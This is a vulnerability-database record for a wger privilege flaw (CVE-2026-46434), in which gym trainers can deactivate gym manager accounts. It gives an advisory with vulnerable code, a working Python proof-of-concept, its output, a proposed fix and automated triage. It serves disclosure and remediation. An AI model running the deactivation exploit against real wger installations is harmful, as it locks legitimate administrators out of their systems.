{"id":"CVE-2026-46434","kind":"vulnerability","aliases":["CVE-2026-46434","GHSA-x249-cx55-2h87"],"related":[],"title":"wger: Trainer Privilege Escalation - Improper Privilege Management","description":"### Summary\n\nA user with only the `gym_trainer` permission can deactivate any account in the same gym, including `gym_manager` and `general_gym_manager` accounts. The `UserDeactivateView` grants access to anyone holding **any one** of `gym.manage_gym`, `gym.manage_gyms`, or `gym.gym_trainer` (OR logic via `WgerMultiplePermissionRequiredMixin`), and performs no privilege-hierarchy check to prevent a lower-privileged role from disabling a higher-privileged one.\n\n### Details\n\n`UserDeactivateView` (file: `wger/core/views/user.py`, line 378) is configured with:\n\n```python\npermission_required = ('gym.manage_gym', 'gym.manage_gyms', 'gym.gym_trainer')\n```\n\n`WgerMultiplePermissionRequiredMixin` (file: `wger/utils/generic_views.py`, line 48) treats this tuple as an OR check -- any single permission is sufficient:\n\n```python\nclass WgerMultiplePermissionRequiredMixin(PermissionRequiredMixin):\n    def has_permission(self):\n        for permission in self.get_permission_required():\n            if self.request.user.has_perm(permission):\n                return True      # <-- ANY one permission is enough\n        return False\n```\n\nThe `dispatch()` method only verifies same-gym membership:\n\n```python\ndef dispatch(self, request, *args, **kwargs):\n    edit_user = get_object_or_404(User, pk=self.kwargs['pk'])\n    if (\n        request.user.has_perm('gym.manage_gym')\n        or request.user.has_perm('gym.gym_trainer')\n    ) and edit_user.userprofile.gym_id != request.user.userprofile.gym_id:\n        return HttpResponseForbidden()\n    # NO check: is the target user more privileged than the requester?\n    return super().dispatch(request, *args, **kwargs)\n```\n\nThere is **no check** preventing a trainer from targeting a manager. The same vulnerability exists in `UserActivateView` (line 415).\n\nAn additional contributing factor: `get_permission_list()` in `wger/gym/helpers.py` (line 102) **always** includes `'trainer'` in the assignable roles, meaning any gym manager can create trainer accounts -- which can then deactivate the manager who created them.\n\n### PoC\n\n#### Prerequisites\n\n- A gym with at least two users: one with `gym_manager` role (victim) and one with `gym_trainer` role (attacker)\n- Both users belong to the same gym\n\n#### Attack Steps\n\n```\n# As the trainer, simply visit:\nGET /en/user/<manager_user_id>/deactivate\n```\n\nThe manager's account is immediately set to `is_active = False`. The manager can no longer log in.\n\n#### Proof of Concept Script\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC: Trainer -> Manager Privilege Escalation (Account Deactivation)\nTarget: wger Workout Manager\nSeverity: HIGH - CVSS 6.5\nCWE-269: Improper Privilege Management\n\nUsage:\n    python3 poc.py http://localhost:8000\n\"\"\"\n\nimport requests\nimport sys\nimport re\n\nif len(sys.argv) < 2:\n    print(f\"Usage: {sys.argv[0]} <BASE_URL>\")\n    print(f\"Example: {sys.argv[0]} http://localhost:8000\")\n    sys.exit(1)\n\nBASE = sys.argv[1].rstrip(\"/\")\nAPI = f\"{BASE}/api/v2\"\n\nMANAGER_USER = \"gym_manager_poc\"\nMANAGER_PASS = \"Manager!Poc!2025\"\nTRAINER_USER = \"evil_trainer_poc\"\nTRAINER_PASS = \"Trainer!Poc!2025\"\n\nBANNER = \"\"\"\n=====================================================================\n  PoC: Trainer -> Manager Privilege Escalation\n  Severity: HIGH\n  CWE-269: Improper Privilege Management\n=====================================================================\n\"\"\"\nprint(BANNER)\n\n\n# ---- Helper ----\ndef api_login(username, password):\n    r = requests.post(f\"{API}/login/\", json={\n        \"username\": username, \"password\": password\n    })\n    if r.status_code == 200:\n        return r.json().get(\"token\")\n    return None\n\ndef api_headers(token):\n    return {\"Authorization\": f\"Token {token}\", \"Content-Type\": \"application/json\"}\n\n\n# ---- Setup via Django ORM (must run inside container) ----\n\nimport os, django\nos.environ['DJANGO_SETTINGS_MODULE'] = 'settings.main'\nsys.path.insert(0, '/home/wger/src')\ndjango.setup()\n\nfrom django.contrib.auth.models import User, Group\nfrom wger.gym.models import Gym\n\n# Ensure permission groups exist\nfor name in ['gym_member', 'gym_trainer', 'gym_manager', 'general_gym_manager']:\n    Group.objects.get_or_create(name=name)\n\n# Create gym\ngym, _ = Gym.objects.get_or_create(name=\"PoC Test Gym\")\nprint(f\"[*] Gym: {gym.name} (id={gym.id})\")\n\n# Create manager (the VICTIM)\nmanager, created = User.objects.get_or_create(\n    username=MANAGER_USER,\n    defaults={\"is_active\": True}\n)\nif created:\n    manager.set_password(MANAGER_PASS)\n    manager.save()\nmanager.userprofile.gym = gym\nmanager.userprofile.save()\nmanager.groups.clear()\nmanager.groups.add(Group.objects.get(name='gym_manager'))\nmanager.is_active = True\nmanager.save()\nprint(f\"[*] Manager (victim): {manager.username} (id={manager.id})\")\nprint(f\"    Groups: {[g.name for g in manager.groups.all()]}\")\nprint(f\"    is_active: {manager.is_active}\")\n\n# Create trainer (the ATTACKER)\ntrainer, created = User.objects.get_or_create(\n    username=TRAINER_USER,\n    defaults={\"is_active\": True}\n)\nif created:\n    trainer.set_password(TRAINER_PASS)\n    trainer.save()\ntrainer.userprofile.gym = gym\ntrainer.userprofile.save()\ntrainer.groups.clear()\ntrainer.groups.add(Group.objects.get(name='gym_trainer'))\nprint(f\"[*] Trainer (attacker): {trainer.username} (id={trainer.id})\")\nprint(f\"    Groups: {[g.name for g in trainer.groups.all()]}\")\n\n\n# ---- 1. Verify manager is active BEFORE attack ----\n\nmanager.refresh_from_db()\nprint(f\"\\n[*] Manager is_active BEFORE attack: {manager.is_active}\")\nassert manager.is_active, \"Manager should be active before test\"\n\n\n# ---- 2. ATTACK: Trainer deactivates manager ----\n\nprint(f\"\\n{'='*65}\")\nprint(f\"  ATTACK: Trainer deactivating gym manager account\")\nprint(f\"{'='*65}\")\n\nfrom django.test import Client\nc = Client()\nc.force_login(trainer)\nresp = c.get(f\"/en/user/{manager.id}/deactivate\", follow=True)\nprint(f\"\\n  GET /en/user/{manager.id}/deactivate\")\nprint(f\"  (Logged in as: {TRAINER_USER} - gym_trainer only)\")\nprint(f\"  Response: HTTP {resp.status_code}\")\n\n\n# ---- 3. VERIFY ----\n\nprint(f\"\\n{'='*65}\")\nprint(f\"  VERIFICATION\")\nprint(f\"{'='*65}\")\n\nmanager.refresh_from_db()\nprint(f\"\\n  Manager is_active AFTER attack: {manager.is_active}\")\n\nif not manager.is_active:\n    print(\"\"\"\n  +----------------------------------------------------------+\n  |  VULNERABILITY CONFIRMED                                 |\n  |                                                          |\n  |  A gym_trainer successfully deactivated a gym_manager!   |\n  |  No privilege hierarchy check prevents this.             |\n  |  The trainer can now lock out all managers from the gym.  |\n  +----------------------------------------------------------+\n\"\"\")\n    manager.is_active = True\n    manager.save()\n    print(\"  [+] Cleanup: Manager re-activated\")\nelse:\n    print(\"\\n  Manager is still active - NOT vulnerable\")\n```\n\n#### Proof of Concept Output\n\n```\n=====================================================================\n  PoC: Trainer -> Manager Privilege Escalation\n  Severity: HIGH\n  CWE-269: Improper Privilege Management\n=====================================================================\n\n[*] Gym: PoC Test Gym (id=2)\n[*] Manager (victim): gym_manager_poc (id=4)\n    Groups: ['gym_manager']\n    is_active: True\n[*] Trainer (attacker): evil_trainer_poc (id=5)\n    Groups: ['gym_trainer']\n\n[*] Manager is_active BEFORE attack: True\n\n=================================================================\n  ATTACK: Trainer deactivating gym manager account\n=================================================================\n\n  Trainer login: HTTP 200\n  GET http://localhost/en/user/4/deactivate\n  (Logged in as: evil_trainer_poc - gym_trainer only)\n  Response: HTTP 200\n\n=================================================================\n  VERIFICATION\n=================================================================\n\n  Manager is_active AFTER attack: False\n\n  +----------------------------------------------------------+\n  |  VULNERABILITY CONFIRMED                                 |\n  |                                                          |\n  |  A gym_trainer successfully deactivated a gym_manager!   |\n  |  No privilege hierarchy check prevents this.             |\n  |  The trainer can now lock out all managers from the gym.  |\n  +----------------------------------------------------------+\n\n  [+] Cleanup: Manager re-activated\n```\n\n### Impact\n\n1. **Gym Management Lockout:** A trainer can deactivate every manager account in their gym, effectively seizing control of the gym's administrative functions.\n2. **Denial of Service:** Deactivated managers cannot log in, manage members, or perform any administrative tasks until a `general_gym_manager` (superadmin) or a Django superuser manually re-activates their accounts.\n3. **Abuse Chain:** Since `get_permission_list()` always includes `'trainer'` in assignable roles, any manager can unknowingly create the account that will later lock them out.\n\n\n### Fix\n\nAdd a privilege hierarchy check in `UserDeactivateView.dispatch()` and `UserActivateView.dispatch()`:\n\n```python\n# File: wger/core/views/user.py, inside dispatch() of both views\n\nedit_user = get_object_or_404(User, pk=self.kwargs['pk'])\n\n# Trainers must not deactivate/activate managers or other trainers\nif request.user.has_perm('gym.gym_trainer') and not (\n    request.user.has_perm('gym.manage_gym')\n    or request.user.has_perm('gym.manage_gyms')\n):\n    if (\n        edit_user.has_perm('gym.manage_gym')\n        or edit_user.has_perm('gym.manage_gyms')\n        or edit_user.has_perm('gym.gym_trainer')\n    ):\n        return HttpResponseForbidden()\n```","summary":"A user with only the gym trainer role can deactivate any account in the same gym, including gym manager and general gym manager accounts. The attacker can lock gym administrators out until a superuser or general gym manager reactivates them.","severity":"high","cvss":7.1,"epss":0.00221,"exploited":false,"exploited_at":null,"products":[{"name":"wger","fixed":[],"affected":"<= 2.1","ecosystem":"pypi"}],"ecosystems":["pypi"],"tags":["cwe-269","django","gym-management","package","python","self-hosted","wger"],"not_affected_if":["no-gym-trainer-role","no-shared-gym-membership","single-user-install"],"how_to_check":"- Check the installed version with `pip show wger` and compare it to the affected range (`<= 2.1`).\n- Look for users in the gym_trainer group who share a gym with users in the gym_manager or general_gym_manager groups.\n- Review `wger/core/views/user.py` for the `UserDeactivateView` and `UserActivateView` dispatch methods and check whether a privilege check exists.","fix":"- Upgrade wger past `2.1`. The fixed version is unknown from the sources.\n- Add a privilege hierarchy check to `dispatch()` in both `UserDeactivateView` and `UserActivateView` so trainers cannot target managers or other trainers, as the advisory's proposed patch shows.\n- Review trainer role assignment, since `get_permission_list()` in `wger/gym/helpers.py` always lets managers assign the trainer role.","status":"open","published_at":"2026-10-07T13:59:14+00:00","first_seen_at":"2026-10-26T15:48:54+00:00","triaged_at":"2026-10-26T15:51:02+00:00","updated_at":"2026-10-26T15:51:02+00:00","category":"package","confidence":0.8,"triage":{"at":"2026-10-26T15:51:02Z","model":"claude-haiku-5-5","output":{"fix":"- Upgrade wger past `2.1`. The fixed version is unknown from the sources.\n- Add a privilege hierarchy check to `dispatch()` in both `UserDeactivateView` and `UserActivateView` so trainers cannot target managers or other trainers, as the advisory's proposed patch shows.\n- Review trainer role assignment, since `get_permission_list()` in `wger/gym/helpers.py` always lets managers assign the trainer role.","reach":"internet","title":"wger: gym trainer can deactivate and lock out gym managers","impact":"medium","summary":"A user with only the gym trainer role can deactivate any account in the same gym, including gym manager and general gym manager accounts. The attacker can lock gym administrators out until a superuser or general gym manager reactivates them.","category":"package","nicknames":[],"who_cares":["wger","self-hosted","django","python","gym-management"],"confidence":0.8,"needs_auth":"yes","worst_case":"Trainer locks gym managers out until a superuser reactivates them.","analyst_note":"Confirm the fixed wger version and reconcile the CVSS conflict (advisory 7.1 vs PoC 6.5) at https://github.com/advisories/GHSA-x249-cx55-2h87.","how_to_check":"- Check the installed version with `pip show wger` and compare it to the affected range (`<= 2.1`).\n- Look for users in the gym_trainer group who share a gym with users in the gym_manager or general_gym_manager groups.\n- Review `wger/core/views/user.py` for the `UserDeactivateView` and `UserActivateView` dispatch methods and check whether a privilege check exists.","needs_analyst":true,"not_affected_if":["no-gym-trainer-role","single-user-install","no-shared-gym-membership"],"who_is_affected":"Installations running wger with the gym feature, where gym_trainer users share a gym with gym_manager or general_gym_manager users. The trainer must be a real account in the same gym, so the exposure depends on how many people hold the trainer role. Single-user installs and gyms without trainer accounts are not exposed.","user_interaction":"no","needs_special_setup":"no","severity_if_unknown":"unknown"},"cost_usd":0.001804,"input_tokens":7041,"output_tokens":2199,"severity_before":"high"},"analyst_status":null,"analyst_note":null,"search":"'-2026':9A,17A '-269':21B,394C,464C '-46434':10A,18A '/api/v2':434C '/deactivate':352C '/en/user':351C '/home/wger/src':527C '/login':480C '/usr/bin/env':376C '0':417C,422C,526C '1':426C,429C '102':289C '2':412C '200':489C '2025':444C,454C '2h87':15A '378':143C '404':221C '415':278C '48':160C '6.5':392C '8000':402C,424C 'access':99C 'account':43B,55B,83C,95C,304C,356C,383C 'activ':362C 'addit':280C 'administr':61B 'alway':290C 'anyon':101C 'api':431C,472C,479C,497C 'application/json':508C 'arg':214C,258C 'assign':295C 'attack':57B,335C,343C 'author':501C 'banner':455C,469C 'base':427C,433C 'belong':338C 'check':123C,167C,244C,263C 'class':174C 'code':488C 'concept':373C 'configur':145C 'contain':516C 'content':506C 'content-typ':505C 'contribut':281C 'creat':302C,312C 'cve':8A,16A 'cvss':391C 'cwe':20B,393C,463C 'cx55':14A 'deactiv':41B,81C,308C,384C 'def':177C,210C,471C,496C 'detail':138C 'disabl':132C 'dispatch':201C,211C,256C 'django':22B,511C,519C,521C 'django.contrib.auth.models':530C 'django.setup':528C 'edit':216C 'edit_user.userprofile.gym':237C 'enough':197C 'escal':4A,382C,460C 'evil':447C 'exampl':420C 'exist':274C 'f':414C,419C,432C,478C,502C 'factor':282C 'fals':199C,363C 'file':140C,157C 'general':52B,67B,92C 'get':218C,283C,350C,492C 'ghsa':12A 'ghsa-x249-cx55-2h87':11A 'grant':98C 'group':533C 'gym':24B,37B,47B,49B,53B,60B,68B,77C,87C,89C,93C,107C,109C,151C,153C,207C,230C,299C,317C,325C,332C,342C,437C,537C 'gym-manag':23B 'gym.gym':111C,154C,234C 'gym.manage':106C,108C,150C,152C,229C 'header':498C 'helper':470C 'hierarchi':122C 'high':390C,462C 'higher':135C 'higher-privileg':134C 'hold':102C 'host':30B 'httpresponseforbidden':242C 'id':238C,240C 'immedi':358C 'import':403C,405C,407C,517C,531C,536C 'improp':5A,395C,465C 'includ':48B,88C,291C 'insid':515C 'json':481C 'kwarg':215C,259C 'least':320C 'len':410C 'line':142C,159C,277C,288C 'list':285C 'localhost':401C,423C 'lock':59B 'log':369C 'logic':114C 'login':473C 'longer':368C 'lower':128C 'lower-privileg':127C 'manag':7A,25B,50B,54B,69B,90C,94C,270C,300C,310C,326C,354C,365C,380C,388C,397C,435C,438C,440C,442C,458C,467C 'mean':297C 'membership':208C 'method':202C 'modul':523C 'must':513C 'none':495C 'object':219C 'one':104C,137C,194C,323C,330C 'orm':512C 'os':518C 'os.environ':520C 'packag':26B 'pass':441C,451C 'password':475C,484C,485C 'perform':118C 'perm':189C,228C,233C 'permiss':79C,148C,170C,179C,182C,185C,190C,195C,284C 'permissionrequiredmixin':176C 'pk':223C,225C 'poc':314C,378C,439C,443C,449C,453C,456C 'poc.py':400C 'prerequisit':315C 'prevent':125C,264C 'print':413C,418C,468C 'privileg':3A,6A,121C,129C,136C,250C,381C,396C,459C,466C 'privilege-hierarchi':120C 'proof':371C 'python':27B,147C,173C,209C,375C 'python3':377C,399C 'r':476C 'r.json':491C 'r.status':487C 're':408C 'reactiv':70B 'request':213C,253C,257C,404C 'request.user.has':227C,232C 'request.user.userprofile.gym':239C 'requests.post':477C 'requir':149C,186C 'return':191C,198C,241C,254C,490C,494C,500C 'role':39B,130C,296C,327C,334C 'rstrip':430C 'run':514C 'same-gym':205C 'script':374C 'self':29B,180C,212C 'self-host':28B 'self.get':184C 'self.kwargs':224C 'self.request.user.has':188C 'set':359C,522C 'settings.main':524C 'setup':509C 'sever':389C,461C 'simpli':348C 'singl':169C 'step':344C 'suffici':172C 'summari':71C 'super':255C 'superus':65B 'sys':406C 'sys.argv':411C,416C,421C,428C 'sys.exit':425C 'sys.path.insert':525C 'target':247C,268C,385C 'token':493C,499C,503C,504C 'trainer':2A,38B,78C,112C,155C,235C,266C,292C,303C,333C,347C,379C,445C,448C,450C,452C,457C 'treat':161C 'true':192C 'tupl':163C 'two':321C 'type':507C 'usag':398C,415C 'user':33B,73C,217C,222C,248C,322C,337C,436C,446C,532C 'useractivateview':276C 'userdeactivateview':97C,139C 'usernam':474C,482C,483C 'verifi':204C 'via':115C,510C 'victim':328C 'visit':349C 'vulner':273C 'wger':1A,19A,31B,386C 'wger.gym.models':535C 'wger/core/views/user.py':141C 'wger/gym/helpers.py':287C 'wger/utils/generic_views.py':158C 'wgermultiplepermissionrequiredmixin':116C,156C,175C 'workout':387C 'x249':13A","nicknames":[],"mitigations":[],"who_affected":"Installations running wger with the gym feature, where gym_trainer users share a gym with gym_manager or general_gym_manager users. The trainer must be a real account in the same gym, so the exposure depends on how many people hold the trainer role. Single-user installs and gyms without trainer accounts are not exposed.","tier":"B","verified":{},"analyst_revisit_at":null,"first_public_at":"2026-10-07T13:59:14+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-x249-cx55-2h87","url":"https://github.com/advisories/GHSA-x249-cx55-2h87","severity":"high","published_at":"2026-10-07T13:59:14+00:00","modified_at":"2026-10-26T15:48:39+00:00","first_seen_at":"2026-10-26T15:48:54+00:00","fetched_at":"2026-10-26T15:53:57+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-46434","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-46434","severity":null,"published_at":"2026-10-07T14:17:10+00:00","modified_at":"2026-10-07T15:17:20+00:00","first_seen_at":"2026-10-26T16:02:26+00:00","fetched_at":"2026-10-26T16:02:26+00:00","note":null}],"documents":[],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}